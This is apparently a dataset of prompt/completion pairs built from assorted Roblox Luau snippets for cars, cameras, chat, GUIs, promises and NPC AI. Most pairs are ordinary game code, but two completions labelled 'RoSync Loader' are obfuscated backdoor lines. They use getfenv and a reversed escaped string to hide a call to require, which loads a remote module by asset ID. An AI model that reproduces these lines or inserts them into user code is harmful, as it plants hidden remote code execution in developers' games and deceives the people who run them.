prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
-- Main loop
|
spawn(function()
while wait(cooldown) do
if check_movement() then
footstepsSound.SoundId = get_material()
footstepsSound.Parent = nil
footstepsSound.Parent = rootPart
end
end
end)
|
--[[ Last synced 7/21/2021 01:47 RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
-- Thourough check to see if a character is sitting
|
local function amISitting(character)
local t = character.Torso
for _, part in pairs(t:GetConnectedParts(true)) do
if part:IsA("Seat") then
return true
end
end
end
|
--edit the function below to return true when you want this response/prompt to be valid
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
|
return function(player, dialogueFolder)
local NumOfSupers = #require(game.ReplicatedStorage.Source.Modules.CharacterScripts.Classes.ClassInformation):GetObtainedSupers(player)
local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player)
return NumOfSupers < 2 and plrData.Classes.Super.Mage.Obtained.Value ~= true
end
|
--// INITIAL CHECK \\-----------------------------------------------
-- we are checking to see if they've locked first person view
|
if (game:GetService("StarterPlayer").CameraMode == Enum.CameraMode.LockFirstPerson) or (game:GetService("StarterPlayer").CameraMaxZoomDistance <= 0.5) then
enableviewmodel() -- theyve locked first person, so enable viewmodel from the start
end
|
--[[
@class ServerMain
]]
|
local ServerScriptService = game:GetService("ServerScriptService")
local loader = ServerScriptService.ClashOfCrayons:FindFirstChild("LoaderUtils", true).Parent
local packages = require(loader).bootstrapGame(ServerScriptService.ClashOfCrayons)
local serviceBag = require(packages.ServiceBag).new()
|
--[[ Last synced 10/14/2020 09:39 || RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
|
--Rear Suspension
|
Tune.RSusDamping = 500 -- Spring Dampening
Tune.RSusStiffness = 9000 -- Spring Force
Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening)
Tune.RSusLength = 2 -- Suspension length (in studs)
Tune.RPreCompress = .3 -- Pre-compression adds resting length force
Tune.RExtensionLim = .3 -- Max Extension Travel (in studs)
Tune.RCompressLim = .30 -- Max Compression Travel (in studs)
Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.RWsBoneLen = 5 -- Wishbone Length
Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
|
--v.SGUI.Identifier.Text = Stats.Plate.Value
|
v.SGUI.Identifier.Text = Stats:WaitForChild("Plate").Value
end
end
function ToogleLock(status)
for i,v in pairs(Car:GetDescendants()) do
if v.ClassName == "VehicleSeat" or v.ClassName == "Seat" then
v.Disabled = status
end
end
end
|
--[[
Logging
]]
|
spawn(function()
while true do
debug.profilebegin("RBR1 process queue")
Log.ProcessQueue('http://localhost:9900')
debug.profileend()
wait(1)
end
end)
|
--Creates a remote event.
|
function RemoteEventCreator:CreateRemoteEvent(Name)
--Warn if an item with that name exists.
if Tool:FindFirstChild(Name) then
warn("Conflicting item "..Name.." exists in "..Tool:GetFullName())
end
--Create and return the remote event.
local RemoteEvent = Instance.new("RemoteEvent")
RemoteEvent.Name = Name
RemoteEvent.Parent = Tool
return RemoteEvent
end
|
-- Variables (best not to touch these!)
|
local button = script.Parent .Parent.Parent
local car = script.Parent.Parent.Parent.Parent.Car.Value
local sound = script.Parent.Parent.Start
local st = script.Parent.Parent.Stall
st.Parent = car.DriveSeat
sound.Parent = car.DriveSeat -- What brick the start sound is playing from.
button.MouseButton1Click:connect(function() -- Event when the button is clicked
if script.Parent.Parent.Parent.Text == "Engine: Off" then -- If the text says it's off then..
sound:Play() -- Startup sound plays..
wait(.6) -- I don't know what to put for this
script.Parent.Parent.Parent.Parent.IsOn.Value = true -- The car is is on, or in other words, start up the car.
button.Text = "Engine: On" -- You don't really need this, but I would keep it.
else -- If it's on then when you click the button,
st:play()
script.Parent.Parent.Parent.Parent.IsOn.Value = false -- The car is turned off.
button.Text = "Engine: Off"
end -- Don't touch this.
end) -- And don't touch this either.
|
-- Choose current Touch control module based on settings (user, dev)
-- Returns module (possibly nil) and success code to differentiate returning nil due to error vs Scriptable
|
function ControlModule:SelectTouchModule()
if not UserInputService.TouchEnabled then
return nil, false
end
local touchModule
local DevMovementMode = Players.LocalPlayer.DevTouchMovementMode
if DevMovementMode == Enum.DevTouchMovementMode.UserChoice then
touchModule = movementEnumToModuleMap[UserGameSettings.TouchMovementMode]
elseif DevMovementMode == Enum.DevTouchMovementMode.Scriptable then
return nil, true
else
touchModule = movementEnumToModuleMap[DevMovementMode]
end
return touchModule, true
end
local function calculateRawMoveVector(humanoid, cameraRelativeMoveVector)
local camera = Workspace.CurrentCamera
if not camera then
return cameraRelativeMoveVector
end
if humanoid:GetState() == Enum.HumanoidStateType.Swimming then
return camera.CFrame:VectorToWorldSpace(cameraRelativeMoveVector)
end
local c, s
local _, _, _, R00, R01, R02, _, _, R12, _, _, R22 = camera.CFrame:GetComponents()
if R12 < 1 and R12 > -1 then
-- X and Z components from back vector.
c = R22
s = R02
else
-- In this case the camera is looking straight up or straight down.
-- Use X components from right and up vectors.
c = R00
s = -R01*math.sign(R12)
end
local norm = math.sqrt(c*c + s*s)
return Vector3.new(
(c*cameraRelativeMoveVector.x + s*cameraRelativeMoveVector.z)/norm,
0,
(c*cameraRelativeMoveVector.z - s*cameraRelativeMoveVector.x)/norm
)
end
function ControlModule:OnRenderStepped(dt)
if self.activeController and self.activeController.enabled and self.humanoid then
-- Give the controller a chance to adjust its state
self.activeController:OnRenderStepped(dt)
-- Now retrieve info from the controller
local moveVector = self.activeController:GetMoveVector()
local cameraRelative = self.activeController:IsMoveVectorCameraRelative()
local clickToMoveController = self:GetClickToMoveController()
if self.activeController ~= clickToMoveController then
if moveVector.magnitude > 0 then
-- Clean up any developer started MoveTo path
clickToMoveController:CleanupPath()
else
-- Get move vector for developer started MoveTo
clickToMoveController:OnRenderStepped(dt)
moveVector = clickToMoveController:GetMoveVector()
cameraRelative = clickToMoveController:IsMoveVectorCameraRelative()
end
end
-- Are we driving a vehicle ?
local vehicleConsumedInput = false
if self.vehicleController then
moveVector, vehicleConsumedInput = self.vehicleController:Update(moveVector, cameraRelative, self.activeControlModule==Gamepad)
end
-- If not, move the player
-- Verification of vehicleConsumedInput is commented out to preserve legacy behavior,
-- in case some game relies on Humanoid.MoveDirection still being set while in a VehicleSeat
--if not vehicleConsumedInput then
if cameraRelative then
moveVector = calculateRawMoveVector(self.humanoid, moveVector)
end
self.moveFunction(Players.LocalPlayer, moveVector, false)
--end
-- And make them jump if needed
self.humanoid.Jump = self.activeController:GetIsJumping() or (self.touchJumpController and self.touchJumpController:GetIsJumping())
end
end
function ControlModule:OnHumanoidSeated(active, currentSeatPart)
if active then
if currentSeatPart and currentSeatPart:IsA("VehicleSeat") then
if not self.vehicleController then
self.vehicleController = self.vehicleController.new(CONTROL_ACTION_PRIORITY)
end
self.vehicleController:Enable(true, currentSeatPart)
end
else
if self.vehicleController then
self.vehicleController:Enable(false, currentSeatPart)
end
end
end
function ControlModule:OnCharacterAdded(char)
self.humanoid = char:FindFirstChildOfClass("Humanoid")
while not self.humanoid do
char.ChildAdded:wait()
self.humanoid = char:FindFirstChildOfClass("Humanoid")
end
if self.touchGui then
self.touchGui.Enabled = true
end
if self.humanoidSeatedConn then
self.humanoidSeatedConn:Disconnect()
self.humanoidSeatedConn = nil
end
self.humanoidSeatedConn = self.humanoid.Seated:Connect(function(active, currentSeatPart)
self:OnHumanoidSeated(active, currentSeatPart)
end)
end
function ControlModule:OnCharacterRemoving(char)
self.humanoid = nil
if self.touchGui then
self.touchGui.Enabled = false
end
end
|
-- update loop
|
game:GetService("RunService").Heartbeat:Connect(function(dt)
for i,v in pairs(workspace:GetDescendants()) do
if v.Name == "Head" then
if (head.Position - v.Position).Magnitude <= 20 then
BP.Position = lookAt(v.Position);
local set = springPart.Position;
neck.C0 = neckC0 * CFrame.fromEulerAnglesYXZ(set.z*0.5, set.x, 0);
waist.C0 = waistC0 * CFrame.fromEulerAnglesYXZ(set.z*0.5, set.y, 0);
else
BP.Position = lookAt(target.Position);
local set = springPart.Position;
neck.C0 = neckC0 * CFrame.fromEulerAnglesYXZ(set.z*0.5, set.x, 0);
waist.C0 = waistC0 * CFrame.fromEulerAnglesYXZ(set.z*0.5, set.y, 0);
end
end
end
end);
|
--Es canvien els primers dos térmens i l'últim es deixa tal qual.
|
while true do
script.Parent.A.Velocity = script.Parent.A.CFrame.lookVector *script.Parent.Speed.Value
script.Parent.AA.Velocity = script.Parent.AA.CFrame.lookVector *script.Parent.Speed.Value
|
------------------------------------------------------------------------------------
|
local WaitTime = 10 -- Change this to the amount of time it takes for the button to re-enable.
local modelname = "Model" -- If your model is not named this, then make the purple words the same name as the model!
|
--------------------) Settings
|
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 0.5 -- cooldown for use of the tool again
BoneModelName = "Ultra hand" -- name the zone model
HumanoidName = "Humanoid"-- the name of player or mob u want to damage
|
--game.ReplicatedStorage.Events.NomeSave3.OnServerEvent:Connect(function(player, frame)
|
--player.Saves.Save3.Value = frame
|
--////////////////////////////// Include
--//////////////////////////////////////
|
local Chat = game:GetService("Chat")
local clientChatModules = Chat:WaitForChild("ClientChatModules")
local commandModules = clientChatModules:WaitForChild("CommandModules")
local commandUtil = require(commandModules:WaitForChild("Util"))
local modulesFolder = script.Parent
local ChatSettings = require(clientChatModules:WaitForChild("ChatSettings"))
function methods:SetupCommandProcessors()
local commands = commandModules:GetChildren()
for i = 1, #commands do
if commands[i]:IsA("ModuleScript") then
if commands[i].Name ~= "Util" then
local commandProcessor = require(commands[i])
local processorType = commandProcessor[commandUtil.KEY_COMMAND_PROCESSOR_TYPE]
local processorFunction = commandProcessor[commandUtil.KEY_PROCESSOR_FUNCTION]
if processorType == commandUtil.IN_PROGRESS_MESSAGE_PROCESSOR then
table.insert(self.InProgressMessageProcessors, processorFunction)
elseif processorType == commandUtil.COMPLETED_MESSAGE_PROCESSOR then
table.insert(self.CompletedMessageProcessors, processorFunction)
end
end
end
end
end
function methods:ProcessCompletedChatMessage(message, ChatWindow)
for i = 1, #self.CompletedMessageProcessors do
local processedCommand = self.CompletedMessageProcessors[i](message, ChatWindow, ChatSettings)
if processedCommand then
return true
end
end
return false
end
function methods:ProcessInProgressChatMessage(message, ChatWindow, ChatBar)
for i = 1, #self.InProgressMessageProcessors do
local customState = self.InProgressMessageProcessors[i](message, ChatWindow, ChatBar, ChatSettings)
if customState then
return customState
end
end
return nil
end
|
--[=[
@function freeze
@within Array
@param array {T} -- The array to freeze.
@return {T} -- The frozen array.
Freezes the top level of the array, making it read-only.
```lua
local array = { 1, 2, 3, { 4, 5, 6 } }
local new = Freeze(array)
new[1] = 4 -- error!
new[4][1] = 7 -- still works!
```
]=]
|
local function freeze<T>(array: { T }): { T }
local new = Copy(array)
table.freeze(new)
return new
end
return freeze
|
--!strict
|
local Sift = script.Parent.Parent
local Util = require(Sift.Util)
local Copy = require(script.Parent.copy)
type Callback<T> = (index: number) -> T
type Updater<T> = (currentValue: T, index: number) -> T
local function call<T>(callback: Callback<T>, index: number)
if type(callback) == "function" then
return callback(index)
end
end
|
--[=[
Interpolates betweeen two numbers, given an percent. The percent is
a number in the range that will be used to define how interpolated
it is between num0 and num1.
```lua
print(Math.lerp(-1000, 1000, 0.75)) --> 500
```
@param num0 number -- Number
@param num1 number -- Second number
@param percent number -- The percent
@return number -- The interpolated
]=]
|
function Math.lerp(num0: number, num1: number, percent: number): number
return num0 + ((num1 - num0) * percent)
end
|
--[[
Enqueues a callback to be run next render step.
]]
|
function Scheduler.enqueueCallback(callback: TaskCallback)
willUpdate = true
callbacks[callback] = true
end
|
------------------------------------------------------------------------------------------------------------------------------------------------------
|
function Core.error(...)
return error('Nexus Framework | ' .. table.concat({...}, ' '), math.huge)
end
function Core.print(...)
return print('Nexus Framework | ' .. table.concat({...}, ' ') .. '\n' .. FormatTraceback(debug.traceback()))
end
function Core.warn(...)
return warn('Nexus Framework | ' .. table.concat({...}, ' ') .. '\n' .. FormatTraceback(debug.traceback()))
end
function Core.assert(Statement, Message)
return assert(Statement, Message .. '\n' .. FormatTraceback(debug.traceback()))
end
|
-- Used to set the Notification Modal's text and behavior when actions are selected
|
local function getText(
state: UserActions.State,
action: UserActions.Action,
setNotificationText: ((string) -> ())?
): string?
-- Prevents notifications from being shown for opening submenus
if action.actions then
return
end
-- Handles selection of default subactions
if action.isDefault and action.parent then
for _, activeAction in ipairs(state.activeActions) do
if activeAction.parent and activeAction.parent.name == action.parent.name then
if callback then
callback()
callback = nil
end
return activeAction.name .. ": Off"
end
end
return
end
-- Handles when notifications for poses are shown
if action.parent and action.parent.name == UserActions.actions.pose.name then
local player = Players.LocalPlayer
local character = if player then player.Character else nil
local humanoid = if character then character:FindFirstChildOfClass("Humanoid") else nil
if humanoid then
if humanoid.MoveDirection ~= Vector3.zero or isJumping(humanoid) then
-- Prevents notification from being shown while player is moving
-- and attempting to select a pose
return
else
if callback then
callback()
callback = nil
end
callback = Emotes.onNextMove(humanoid, function()
-- Shows the notification modal when player moves after
-- selecting a pose
if setNotificationText then
setNotificationText(action.name .. ": Off")
end
end)
end
end
end
return action.name .. ": " .. if UserActions.isActionActive(state, action) then "On" else "Off"
end
return getText
|
----- Classes -----
|
local Bezier = require(script.BezierBase)
|
-----------------
--| Variables |--
-----------------
|
local DebrisService = game:GetService('Debris')
local PlayersService = game:GetService('Players')
local Rocket = script.Parent
local CreatorTag = Rocket:WaitForChild('creator')
local SwooshSound = Rocket:WaitForChild('Swoosh')
|
--Brakes--
|
local rb = carSeat.Parent.Parent.RWD
local lfb = carSeat.Parent.Parent.LW
local rfb = carSeat.Parent.Parent.RW
carSeat.MaxSpeed = 0
carSeat.TurnSpeed = 0
carSeat.Torque = 0
|
-- // Connections
|
playersService.PlayerAdded:Connect(function(player)
player.CharacterAdded:Connect(function(character)
local rootPart = character:WaitForChild("HumanoidRootPart")
local humanoid = character:WaitForChild("Humanoid")
local oldHealth = humanoid.Health
local particlesClone = bloodParticles:Clone()
particlesClone.Parent = rootPart
humanoid.HealthChanged:Connect(function(health)
if health < oldHealth then
oldHealth = health
spawn(function()
for i = 1, blood_parts_per_hit do
local raycastOrigin = rootPart.Position + Vector3.new(math.random(-20, 20) / 10, 0, math.random(-20, 20) / 10)
local raycastDirection = Vector3.new(0, -8, 0)
local raycastResult = raycast(character, raycastOrigin, raycastDirection)
if raycastResult then
particlesClone:Emit(2)
delay(0.5, function()
local newBlood = createBlood(raycastResult.Position)
expandBlood(newBlood)
delay(blood_destroy_delay, function()
deleteBlood(newBlood)
end)
end)
end
wait(math.random(0.5, 2) / 10)
end
end)
else
oldHealth = health
end
end)
end)
end)
|
--------------------[ GUI SETUP FUNCTION ]--------------------------------------------
|
function convertKey(Key)
if Key == string.char(8) then
return "BKSPCE"
elseif Key == string.char(9) then
return "TAB"
elseif Key == string.char(13) then
return "ENTER"
elseif Key == string.char(17) then
return "UP"
elseif Key == string.char(18) then
return "DOWN"
elseif Key == string.char(19) then
return "RIGHT"
elseif Key == string.char(20) then
return "LEFT"
elseif Key == string.char(22) then
return "HOME"
elseif Key == string.char(23) then
return "END"
elseif Key == string.char(27) then
return "F2"
elseif Key == string.char(29) then
return "F4"
elseif Key == string.char(30) then
return "F5"
elseif Key == string.char(32) or Key == " " then
return "F7"
elseif Key == string.char(33) or Key == "!" then
return "F8"
elseif Key == string.char(34) or Key == '"' then
return "F9"
elseif Key == string.char(35) or Key == "#" then
return "F10"
elseif Key == string.char(37) or Key == "%" then
return "F12"
elseif Key == string.char(47) or Key == "/" then
return "R-SHIFT"
elseif Key == string.char(48) or Key == "0" then
return "L-SHIFT"
elseif Key == string.char(49) or Key == "1" then
return "R-CTRL"
elseif Key == string.char(50) or Key == "2" then
return "L-CTRL"
elseif Key == string.char(51) or Key == "3" then
return "R-ALT"
elseif Key == string.char(52) or Key == "4" then
return "L-ALT"
else
return string.upper(Key)
end
end
function createControlFrame(Key, Desc, Num)
local C = Instance.new("Frame")
C.BackgroundTransparency = ((Num % 2) == 1 and 0.7 or 1)
C.BorderSizePixel = 0
C.Name = "C"..Num
C.Position = UDim2.new(0, 0, 0, Num * 20)
C.Size = UDim2.new(1, 0, 0, 20)
C.ZIndex = 10
local K = Instance.new("TextLabel")
K.BackgroundTransparency = 1
K.Name = "Key"
K.Size = UDim2.new(0, 45, 1, 0)
K.ZIndex = 10
K.Font = Enum.Font.ArialBold
K.FontSize = Enum.FontSize.Size14
K.Text = Key
K.TextColor3 = Color3.new(1, 1, 1)
K.TextScaled = (string.len(Key) > 5)
K.TextWrapped = (string.len(Key) > 5)
K.Parent = C
local D = Instance.new("TextLabel")
D.BackgroundTransparency = 1
D.Name = "Desc"
D.Position = UDim2.new(0, 50, 0, 0)
D.Size = UDim2.new(1, -50, 1, 0)
D.ZIndex = 10
D.Font = Enum.Font.SourceSansBold
D.FontSize = Enum.FontSize.Size14
D.Text = "- "..Desc
D.TextColor3 = Color3.new(1, 1, 1)
D.TextXAlignment = Enum.TextXAlignment.Left
D.Parent = C
C.Parent = Controls
end
function createModes()
numModes = 0
for i, v in pairs(S.selectFireSettings.Modes) do
if v then
numModes = numModes + 1
end
end
local currentMode = 0
for i, v in pairs(S.selectFireSettings.Modes) do
if v then
local Frame = Instance.new("Frame")
Frame.BackgroundTransparency = 1
Frame.Name = currentMode
Frame.Position = UDim2.new()
Frame.Size = UDim2.new()
Frame.Parent = fireModes
local modeLabel = Instance.new("TextLabel")
modeLabel.BackgroundTransparency = 1
modeLabel.Name = "Label"
modeLabel.Position = UDim2.new(0, -20, 0, 0)
modeLabel.Size = UDim2.new(0, 40, 0, 20)
modeLabel.Font = Enum.Font.SourceSansBold
modeLabel.FontSize = Enum.FontSize.Size18
modeLabel.Text = string.upper(i)
modeLabel.TextColor3 = Color3.new(1, 1, 1)
modeLabel.TextScaled = true
modeLabel.TextStrokeTransparency = 0
modeLabel.TextTransparency = 0.5
modeLabel.TextWrapped = true
modeLabel.Parent = Frame
table.insert(Modes, string.upper(i))
currentMode = currentMode + 1
end
end
guiAngOffset = -15 * (numModes ^ 3) + 150 * (numModes ^ 2) - 525 * numModes + 660
end
function setUpGUI()
local currentNum = 1
for _, v in pairs(Controls:GetChildren()) do
if v.Name ~= "Title" then
v:Destroy()
end
end
for _, PTable in pairs(Plugins.KeyDown) do
createControlFrame(convertKey(PTable.Key), PTable.Description, currentNum)
currentNum = currentNum + 1
end
if S.canChangeStance then
local Dive = (S.dolphinDive and " / Dive" or "")
createControlFrame(convertKey(S.Keys.lowerStance), "Lower Stance"..Dive, currentNum)
currentNum = currentNum + 1
createControlFrame(convertKey(S.Keys.raiseStance), "Raise Stance", currentNum)
currentNum = currentNum + 1
end
if S.selectFire then
createControlFrame(convertKey(S.Keys.selectFire), "Select Fire", currentNum)
currentNum = currentNum + 1
end
createControlFrame(convertKey(S.Keys.Reload), "Reload", currentNum)
currentNum = currentNum + 1
createControlFrame(convertKey(S.Keys.Sprint), "Sprint", currentNum)
currentNum = currentNum + 1
if S.canADS then
local Hold = (S.aimSettings.holdToADS and "HOLD " or "")
if S.Keys.ADS ~= "" then
createControlFrame(Hold..convertKey(S.Keys.ADS).." OR R-MOUSE", "Aim Down Sights", currentNum)
else
createControlFrame(Hold.." R-MOUSE", "Aim Down Sights", currentNum)
end
currentNum = currentNum + 1
end
Controls.Size = UDim2.new(1, 0, 0, currentNum * 20)
Controls.Position = UDim2.new(0, 0, 0, -(currentNum * 20) - 80)
if S.guiScope then
scopeSteady.Text = "Hold "..convertKey(S.Keys.scopeSteady).." to Steady"
end
if mainGUI:FindFirstChild("Co") then
mainGUI.Co:Destroy()
end
local Co = Instance.new("TextLabel")
Co.BackgroundTransparency = 1
Co.Name = "Co"
Co.Visible = true
Co.Position = UDim2.new(0, 0, 0, 0)
Co.Size = UDim2.new(1, 0, 0, 20)
Co.Font = Enum.Font.ArialBold
Co.FontSize = Enum.FontSize.Size14
Co.Text = ("~ 125rednaX & tEhYuM yb ekameR // noisuFobruT yb tiK ~"):reverse()
Co.TextColor3 = Color3.new(1, 1, 1)
Co.TextStrokeColor3 = Color3.new(1, 1, 1)
Co.TextStrokeTransparency = 0.9
Co.TextTransparency = 0.9
Co.TextXAlignment = Enum.TextXAlignment.Center
Co.Parent = mainGUI
gunNameTitle.Text = Gun.Name
updateClipAmmo()
updateStoredAmmo()
fireModes:ClearAllChildren()
createModes()
updateModeLabels(numModes - 1, 0, 90)
if S.selectFire then
modeGUI.Text = Modes[((rawFireMode - 1) % numModes) + 1]
else
modeGUI.Text = (
S.gunType.Semi and "SEMI" or
S.gunType.Auto and "AUTO" or
S.gunType.Burst and "BURST" or
"SAFETY"
)
end
end
|
-- создание трассы
|
local rnd=Random.new()
local function Rebuild() -- пересоздание мира
for i=0, PartWorld - 1 do
local index = rnd:NextInteger(1,#models) -- случайная моделька
local model = models[index]:Clone() -- берём клон
local posit = CFrame.new(0,0,-180*i) -- расчёт позиции
model:SetPrimaryPartCFrame(posit) -- размещение
model.Parent = game.Workspace.GameZone -- привязка к пространству
end
end
|
--!nonstrict
--[[
VRBaseCamera - Base class for VR camera
2021 Roblox VR
--]]
| |
-- print("Distance from "..character.Name.." = "..distance)
|
if distance <= 2*radius then
torso.Velocity = (torso.Position - position).unit * 100;
human:takeDamage(100-(distance-radius)*(100/radius))
-- If player died
|
--[[ Services ]]
|
--
local PlayersService = game:GetService("Players")
local ContextActionService = game:GetService("ContextActionService")
local Settings = UserSettings() -- ignore warning
local GameSettings = Settings.GameSettings
local Mouse = PlayersService.LocalPlayer:GetMouse()
|
-- double rd_dbl_be(string src, int s)
-- @src - Source binary string
-- @s - Start index of big endian double
|
local function rd_dbl_be(src, s)
local f1, f2, f3, f4, f5, f6, f7, f8 = src:byte(s, s + 7) -- same
return rd_dbl_basic(f8, f7, f6, f5, f4, f3, f2, f1)
end
|
-- all configurations can be found in the "configurations" model
|
local configs = script.Parent.Parent.Configurations
script.Parent.Touched:connect(function(hit) -- this is the main function that is called whenever the fire is touched
if hit and hit.Parent and hit.Parent:FindFirstChild("Humanoid") and hit.Parent.Humanoid.Health > 0 then -- if we have a player or an AI then
if configs.CanKill.Value == true and configs.CanCatchFire.Value == true then -- if the fire sets players alight and gives them damamge then
local fire = script.Parent.Parent.FirePart.Fire:Clone() -- gatting some fire
fire.Parent = hit -- putting the fire in the part of the person that touched the fire
fire.Size = configs.FireSize.Value
for i = 1, configs.FireDuration.Value do -- this deals with giving damamge to the player
if hit and hit.Parent and hit.Parent:FindFirstChild("Humanoid") and hit.Parent.Humanoid.Health > 0 then
hit.Parent.Humanoid.Health = hit.Parent.Humanoid.Health - 1 -- reduce health
wait(configs.HarmSpeed.Value) -- this is the time between giving damamge to the player
end
end
if fire and hit then -- removing unneeded fire
fire:Destroy()
end
elseif configs.CanKill.Value == true then -- else if we can only kill
hit.Parent:BreakJoints() -- kill instantly
elseif configs.CanCatchFire.Value == true then -- else if we can only set alight
local fire = script.Parent.Parent.FirePart.Fire:Clone() -- getting some fire
fire.Parent = hit -- making its parent the part that touched the fire
fire.Size = configs.FireSize.Value
wait(configs.FireDuration.Value) -- waiting before removing fire
fire:Destroy() -- removing fire
end
end
end)
|
-- free faces
|
["Smile"] = {
free = true,
id = "rbxassetid://144080495",
legacy = true,
image = "https://www.roblox.com/asset-thumbnail/image?assetId=144080495&width=420&height=420&format=png"
},
["Cunning"] = {
free = true,
id = "rbxassetid://21635489",
legacy = true,
image = "https://www.roblox.com/asset-thumbnail/image?assetId=21635489&width=420&height=420&format=png"
},
["Laughing"] = {
free = true,
id = "rbxassetid://26424652",
legacy = true,
image = "https://www.roblox.com/asset-thumbnail/image?assetId=26424652&width=420&height=420&format=png"
},
["Chill"] = {
free = true,
id = "rbxassetid://7074749",
legacy = true,
image = "https://www.roblox.com/asset-thumbnail/image?assetId=7074749&width=420&height=420&format=png"
},
["Unamused"] = {
free = true,
id = "rbxassetid://20418518",
legacy = true,
image = "https://www.roblox.com/asset-thumbnail/image?assetId=20418518&width=420&height=420&format=png"
},
["Freckles"] = {
free = true,
id = "rbxassetid://12145059",
legacy = true,
image = "https://www.roblox.com/asset-thumbnail/image?assetId=12145059&width=420&height=420&format=png"
},
["Beardy"] = {
free = true,
id = "rbxassetid://110287880",
legacy = true,
image = "https://www.roblox.com/asset-thumbnail/image?assetId=110287880&width=420&height=420&format=png"
},
}
return module
|
-- parent attachments to Terrain
|
beam.Parent = workspace.Terrain
attachment0.Parent = workspace.Terrain
attachment1.Parent = workspace.Terrain
|
--/Recoil Modification
|
module.camRecoil = {
RecoilUp = .9
,RecoilTilt = 1
,RecoilLeft = 1.05
,RecoilRight = 1.05
}
module.gunRecoil = {
RecoilUp = .9
,RecoilTilt = 1
,RecoilLeft = 1.1
,RecoilRight = 1.1
}
module.AimRecoilReduction = 1
module.AimSpreadReduction = 1
module.MinRecoilPower = 1
module.MaxRecoilPower = 1
module.RecoilPowerStepAmount = 1
module.MinSpread = 1
module.MaxSpread = 1
module.AimInaccuracyStepAmount = 1
module.AimInaccuracyDecrease = 1
module.WalkMult = 1
module.MuzzleVelocityMod = 1
return module
|
-- KEY VARIABLES --
|
local Z = false
local X = false
|
-- Variables
|
local player = game.Players.LocalPlayer
local humanoid = player.Character:WaitForChild("Humanoid")
|
-- declarations
|
local toolAnim = "None"
local toolAnimTime = 0
local jumpAnimTime = 0
local jumpAnimDuration = 0.3
local toolTransitionTime = 0.1
local fallTransitionTime = 0.3
|
--[=[
Cancels this promise, preventing the promise from resolving or rejecting. Does not do anything if the promise is already settled.
Cancellations will propagate upwards and downwards through chained promises.
Promises will only be cancelled if all of their consumers are also cancelled. This is to say that if you call `andThen` twice on the same promise, and you cancel only one of the child promises, it will not cancel the parent promise until the other child promise is also cancelled.
```lua
promise:cancel()
```
]=]
|
function Promise.prototype:cancel()
if self._status ~= Promise.Status.Started then
return
end
self._status = Promise.Status.Cancelled
if self._cancellationHook then
self._cancellationHook()
end
if self._parent then
self._parent:_consumerCancelled(self)
end
for child in pairs(self._consumers) do
child:cancel()
end
self:_finalize()
end
|
--Light off
|
src.Strobe.Value.Value = 1
src.Strobe1.Value.Value = 1
src.Speaker.Siren:Play()
light.Value = false
else
src.Strobe.Value.Value = 0
src.Strobe1.Value.Value = 0
src.Speaker.Siren:Stop()
light.Value = true
return
end
end
end)
src.Parent.ChildRemoved:connect(function(child)
if child.Name=="SeatWeld" then
src:Stop()
script.Parent:Destroy()
end
end)
|
--!nonstrict
--[[
Invisicam - Occlusion module that makes objects occluding character view semi-transparent
2018 Camera Update - AllYourBlox
--]]
| |
-- Player
|
local Plr = game.Players.LocalPlayer
Plr.CharacterAdded:Wait()
|
-------------------------------
--Functions
-------------------------------
|
function CreateMotor()
PARENTMODEL.Motors.MotorBlock1.Anchored = false
local motor = Instance.new("Motor")
motor.Parent = PARENTMODEL.Motors
motor.Part0, motor.Part1, motor.MaxVelocity = PARENTMODEL.Motors.MotorBlock0, PARENTMODEL.Motors.MotorBlock1, 0.01
end
function WeldToObject(group, obj)
for _, v in pairs(group) do
local weld = Instance.new("WeldConstraint")
weld.Parent, weld.Name = v, "Weld"
weld.Part0, weld.Part1 = v, obj
v.Anchored = false
end
end
function MoveGate()
if OPEN == false then
PARENTMODEL.Motors.Motor.DesiredAngle, OPEN = math.rad(-OPENINGANGLE), true
else
PARENTMODEL.Motors.Motor.DesiredAngle, OPEN = 0, false
end
end
|
-- getfenv(moduleFunction).require = _requireOverride
-- getfenv(moduleFunction).delay = fakeTimers.delayOverride
-- getfenv(moduleFunction).tick = fakeTimers.tickOverride
-- getfenv(moduleFunction).DateTime = fakeTimers.dateTimeOverride
-- getfenv(moduleFunction).os = fakeTimers.osOverride
-- moduleResult = moduleFunction()
| |
--
--
|
local Monster = {} -- Create the monster class
function Monster:GetCFrame()
-- Returns the CFrame of the monster's humanoidrootpart
local humanoidRootPart = Self:FindFirstChild('HumanoidRootPart')
if humanoidRootPart ~= nil and humanoidRootPart:IsA('BasePart') then
return humanoidRootPart.CFrame
else
return CFrame.new()
end
end
function Monster:GetMaximumDetectionDistance()
-- Returns the maximum detection distance
local setting = Settings.MaximumDetectionDistance.Value
if setting < 0 then
return math.huge
else
return setting
end
end
function Monster:SearchForTarget()
-- Finds the closest player and sets the target
local players = Info.Players:GetPlayers()
local closestCharacter, closestCharacterDistance
for i=1, #players do
local player = players[i]
if player.Neutral or player.TeamColor ~= Settings.FriendlyTeam.Value then
local character = player.Character
if character ~= nil and character:FindFirstChild('Humanoid') ~= nil and character.Humanoid:IsA('Humanoid') then
local distance = player:DistanceFromCharacter(Monster:GetCFrame().p)
if distance < Monster:GetMaximumDetectionDistance() then
if closestCharacter == nil then
closestCharacter, closestCharacterDistance = character, distance
else
if closestCharacterDistance > distance then
closestCharacter, closestCharacterDistance = character, distance
end
end
end
end
end
end
if closestCharacter ~= nil then
Mind.CurrentTargetHumanoid.Value = closestCharacter.Humanoid
end
end
function Monster:TryRecomputePath()
if Data.AutoRecompute or tick() - Data.LastRecomputePath > 1/Info.RecomputePathFrequency then
Monster:RecomputePath()
end
end
function Monster:GetTargetCFrame()
local targetHumanoid = Mind.CurrentTargetHumanoid.Value
if Monster:TargetIsValid() then
return targetHumanoid.Torso.CFrame
else
return CFrame.new()
end
end
function Monster:IsAlive()
return Self.Humanoid.Health > 0 and Self.Humanoid.Torso ~= nil
end
function Monster:TargetIsValid()
